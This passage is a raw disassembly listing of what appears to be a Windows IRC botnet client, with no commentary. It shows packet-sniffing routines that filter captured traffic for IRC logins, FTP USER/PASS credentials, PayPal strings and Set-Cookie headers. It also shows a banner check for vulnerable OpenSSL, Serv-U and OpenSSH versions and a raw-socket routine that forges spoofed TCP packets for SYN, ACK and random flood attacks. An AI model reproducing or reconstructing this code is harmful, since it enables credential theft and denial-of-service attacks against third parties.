24h loc_411CEF: ; CODE XREF: ___:00411CB6j xor eax, eax loc_411CF1: ; CODE XREF: ___:00411C78j pop esi leave retn ; --------------------------------------------------------------------------- dword_411CF4 dd 81EC8B55h, 8DCECh, 8458B00h, 83575653h, 0FFF724A5h ; DATA XREF: sub_401ACD+4508o dd 256A00FFh, 0FC6583h, 8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh dd 9080h, 100h, 0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh dd 0AEF815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF1015FFh dd 0BB004Ch, 6A000002h, 0A5E89008h, 0FF0227E6h, 4CAEF815h dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF1015FFh dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h, 68FFFFFBh dd 434E84h, 9AF8E850h, 0EC810000h, 84h, 0FF24B58Dh, 858DFFFFh dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h, 0A4C4h dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h dd 46BC0845h, 106A0043h, 0AE4815FFh, 0BF0F004Ch, 8458BF0h dd 57FC788Bh, 0AF4015FFh, 0C4F6004Ch, 6A7B7480h, 4815FF14h dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h dd 4815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h dd 84C7107Dh, 0FFF724BDh, 3FFh, 140E900h, 84C70000h, 0FFF724BDh dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh dd 0FFFFF724h, 840FF685h, 11Ah, 8D002083h, 0FFFD2485h dd 8FF83FFh, 0E8137550h, 9140h, 2305A480h, 0FFFFFDh, 0F8E959h dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAEF815h, 0B84D8D00h dd 50513C6Ah, 0AF1015FFh, 458D004Ch, 858D50B8h, 0FFFFFD24h dd 4E6C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAEF8h, 6AB84D8Dh dd 0FF50513Ch, 4CAF1015h, 0B8458D00h, 24858D50h, 50FFFFFDh dd 434E5868h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh, 0FC8B5925h dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh dd 9632E850h, 0C4810000h, 0A4h, 0FB24858Dh, 6A53FFFFh dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h dd 7D811408h, 434DEC08h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 90006A59h dd 2DE02BE8h db 2 byte_411FD5 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+412Ao dd 102B4B8h, 9B3EE800h, 558B0000h, 6A575608h, 0F28B5801h dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h, 45C7660Ch dd 560002E4h, 0AF7415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h dd 0FF8BE2E8h, 0FF5059FFh, 4CAFB415h, 36A5600h, 4589026Ah dd 0F415FFE8h, 8B004CAFh, 0FFFF83F8h, 75FC7D89h, 815FF5Dh dd 50004CAFh, 0FD4C858Dh, 0F468FFFFh, 50004357h, 9821E8h dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h dd 565959FFh, 0DF56E890h, 458B022Dh, 69106AD0h, 234C0h dd 0BCB88900h, 8D0043DEh, 5750E445h, 0AFA015FFh, 0F883004Ch dd 0FF6475FFh, 4CAF0815h, 858D5000h, 0FFFFFD4Ch, 4357C868h dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h, 0FD4C858Dh dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h dd 0C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0D1E89056h dd 56022DDEh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h dd 4CAF2015h, 0FFF88300h, 15FF6475h, 4CAF08h, 4C858D50h dd 68FFFFFDh, 435798h, 9720E850h, 0C4830000h, 0D875390Ch dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch dd 3012E850h, 57590000h, 0B00C15FFh, 75FF004Ch, 9268E8D0h dd 5659FFFFh, 2DDE4FE8h, 0BB539002h, 434EB0h, 0FFFFBFh dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h, 858D0CC4h dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAF8Ch, 0FFFF883h dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 8C68FFFEh dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h dd 577C68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h dd 0AEA415FFh, 0B70F004Ch, 75FF50C0h, 15FFF4h, 50004CB0h dd 8B7F048Dh, 4EC4C504h, 34FF0043h, 434EA085h, 4C858D00h dd 68FFFFFDh, 435748h, 20068h, 0D5E85000h, 83000096h, 75391CC4h dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 815FFFFh, 50004CAFh dd 43571C68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB00C15h dd 0D075FF00h, 0FF90C9E8h, 905659FFh, 2DDCAFE8h db 2 ; =============== S U B R O U T I N E ======================================= sub_412351 proc near ; CODE XREF: sub_412660+213p ; sub_412660+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CDCE0, eax mov eax, offset dword_4CDCE0 retn sub_412351 endp ; =============== S U B R O U T I N E ======================================= sub_412360 proc near ; CODE XREF: sub_412660+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41237A loc_412376: ; CODE XREF: sub_412360+29j ; sub_412360+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41237A: ; CODE XREF: sub_412360+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aJoin_0 ; "JOIN #" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4123C2 loc_4123BE: ; CODE XREF: sub_412360+71j ; sub_412360+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4123C2: ; CODE XREF: sub_412360+5Cj push offset a302_0 ; "302 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a366 ; "366 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login_0 ; ":.login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin_0 ; ":!login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin ; ":!Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login ; ":.Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_ident ; ":.ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aIdent_0 ; ":!ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset a_hashin ; ":.hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset aHashin ; ":!hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412360 endp ; =============== S U B R O U T I N E ======================================= sub_412477 proc near ; CODE XREF: sub_412660+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412491 loc_41248D: ; CODE XREF: sub_412477+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412491: ; CODE XREF: sub_412477+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41248D push offset aOper_0 ; "OPER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4124B7 loc_4124B3: ; CODE XREF: sub_412477+4Fj ; sub_412477+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4124B7: ; CODE XREF: sub_412477+3Aj push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aOper ; "oper " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412477 endp ; =============== S U B R O U T I N E ======================================= sub_4124ED proc near ; CODE XREF: sub_412660+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412507 loc_412503: ; CODE XREF: sub_4124ED+29j ; sub_4124ED+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412507: ; CODE XREF: sub_4124ED+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset a220 ; "220 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41253E loc_41253A: ; CODE XREF: sub_4124ED+60j ; sub_4124ED+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41253E: ; CODE XREF: sub_4124ED+4Bj push offset a230 ; "230 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aUser_3 ; "USER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aPass_0 ; "PASS " push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4124ED endp ; =============== S U B R O U T I N E ======================================= sub_412574 proc near ; CODE XREF: sub_412660+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41258E loc_41258A: ; CODE XREF: sub_412574+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41258E: ; CODE XREF: sub_412574+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41258A push offset aPaypal ; "paypal" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4125B4 loc_4125B0: ; CODE XREF: sub_412574+4Fj ; sub_412574+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4125B4: ; CODE XREF: sub_412574+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com ; "paypal.com" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aSetCookie ; "Set-Cookie:" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412574 endp ; =============== S U B R O U T I N E ======================================= sub_4125FB proc near ; CODE XREF: sub_412660:loc_412A25p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412615 loc_412611: ; CODE XREF: sub_4125FB+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412615: ; CODE XREF: sub_4125FB+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412611 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41263B loc_412637: ; CODE XREF: sub_4125FB+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41263B: ; CODE XREF: sub_4125FB+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412637 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4125FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412660 proc near ; DATA XREF: sub_401ACD+427Co var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CAF88 lea eax, [ebp+var_3B8] push eax call dword_4CAFF8 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41C310 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_412706 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_412706: ; CODE XREF: sub_412660+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CAFA0 cmp eax, 0FFFFFFFFh jnz short loc_41277C call dword_4CAF08 push eax lea eax, [ebp+var_2B8] push offset unk_435AC8 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_412758 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_412758: ; CODE XREF: sub_412660+D6j lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_34] call sub_40B412 pop ecx push ebx nop call near ptr 26F0000h loc_41277C: ; CODE XREF: sub_412660+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CAF20 cmp eax, 0FFFFFFFFh jnz short loc_412802 call dword_4CAF08 push eax lea eax, [ebp+var_2B8] push offset unk_435A98 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4127DE push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_4127DE: ; CODE XREF: sub_412660+15Cj lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_34] call sub_40B412 pop ecx push ebx nop call near ptr 26F0000h loc_412802: ; CODE XREF: sub_412660+13Cj mov esi, 200h loc_412807: ; CODE XREF: sub_412660+1D6j ; sub_412660+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CAF8C cmp [ebp+var_113AF], 6 jnz short loc_412807 push [ebp+var_113A4] mov edi, dword_4271E4 call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_412807 cmp [ebp+arg_0], 19h jz short loc_412807 cmp edi, 6Eh jz short loc_412807 cmp edi, 19h jz short loc_412807 push [ebp+var_113AC] call sub_412351 pop ecx push dword ptr [eax] call near ptr 71AB401Ch nop push eax lea eax, [ebp+var_13B8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+var_113A8] call sub_412351 add esp, 10h push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_BB8] push offset aS_1 ; "%s" push eax call sub_41B886 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41AFE0 add esp, 10h test eax, eax jle short loc_412905 loc_4128D1: ; CODE XREF: sub_412660+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_4128E8 mov byte ptr [eax], 20h loc_4128E8: ; CODE XREF: sub_412660+283j cmp byte ptr [eax], 0Ah jnz short loc_4128F0 mov byte ptr [eax], 20h loc_4128F0: ; CODE XREF: sub_412660+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41AFE0 cmp [ebp+var_4], eax pop ecx jl short loc_4128D1 loc_412905: ; CODE XREF: sub_412660+26Fj cmp [ebp+arg_0], 50h jz loc_4129B8 cmp edi, 50h jz loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412360 test al, al pop ecx jz short loc_41294C lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A64 jmp loc_4129E7 ; --------------------------------------------------------------------------- loc_41294C: ; CODE XREF: sub_412660+2C7j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412477 test al, al pop ecx jz short loc_412982 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A30 jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_412982: ; CODE XREF: sub_412660+300j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_4124ED test al, al pop ecx jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4359FC jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_4129B8: ; CODE XREF: sub_412660+2A9j ; sub_412660+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_412574 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_412A25 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_4359C4 loc_4129E7: ; CODE XREF: sub_412660+2E7j ; sub_412660+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41B980 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_412807 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h jmp loc_412807 ; --------------------------------------------------------------------------- loc_412A25: ; CODE XREF: sub_412660+36Ej call sub_4125FB test al, al pop ecx jz loc_412807 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_43598C jmp short loc_4129E7 sub_412660 endp ; --------------------------------------------------------------------------- byte_412A53 db 55h ; DATA XREF: sub_401ACD+6542o dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 228E11Fh db 50h, 0E8h, 52h db 8Eh ; DATA XREF: Themida_:0054AC93o dd 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh, 0FDF4858Dh dd 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h, 8D5014C4h dd 0FFFB6C85h, 5AF468FFh, 0E8500043h, 8DCAh, 0C483F633h dd 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh, 0F4858D50h dd 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh, 858D14C4h dd 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h, 0FF8915E8h dd 565959FFh, 2DD4FBE8h, 5E5F9002h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B08 proc near ; CODE XREF: ___:00412E7Fp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAEE4 test eax, eax jz short loc_412B48 xor eax, eax jmp loc_412E3B ; --------------------------------------------------------------------------- loc_412B48: ; CODE XREF: sub_412B08+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB018 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_412E33 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CAF54 cmp eax, 0FFFFFFFFh jz loc_412E29 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CAF74 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CAF74 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CAF74 mov [ebp+var_12], ax call sub_41B8E2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CAF74 push 12345678h mov [ebp+var_14], ax call dword_4CAF70 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C18 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C18: ; CODE XREF: sub_412B08+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C34 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C34: ; CODE XREF: sub_412B08+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C6C call sub_41B8E2 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41B8E2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_412C6C: ; CODE XREF: sub_412B08+10Ej ; sub_412B08+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CAF74 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx nop call near ptr 27B0000h lea eax, [ebp+var_1C] push eax nop call near ptr 27A0B19h push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41D280 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_412CBA: ; CODE XREF: sub_412B08+2E2j ; sub_412B08+2F0j mov [ebp+var_4], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAF74 mov [ebp+var_14], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAF74 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAF70 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAF74 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CAFD8 cmp eax, 0FFFFFFFFh jz short loc_412DFD add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax call near ptr 27A0B19h nop mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_412E26 jl loc_412CBA mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_412E26 jmp loc_412CBA ; --------------------------------------------------------------------------- loc_412DFD: ; CODE XREF: sub_412B08+2CBj call dword_4CAF08 push eax lea eax, [ebp+var_F4] push offset dword_435B1C push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_412E29 ; --------------------------------------------------------------------------- loc_412E26: ; CODE XREF: sub_412B08+2E0j ; 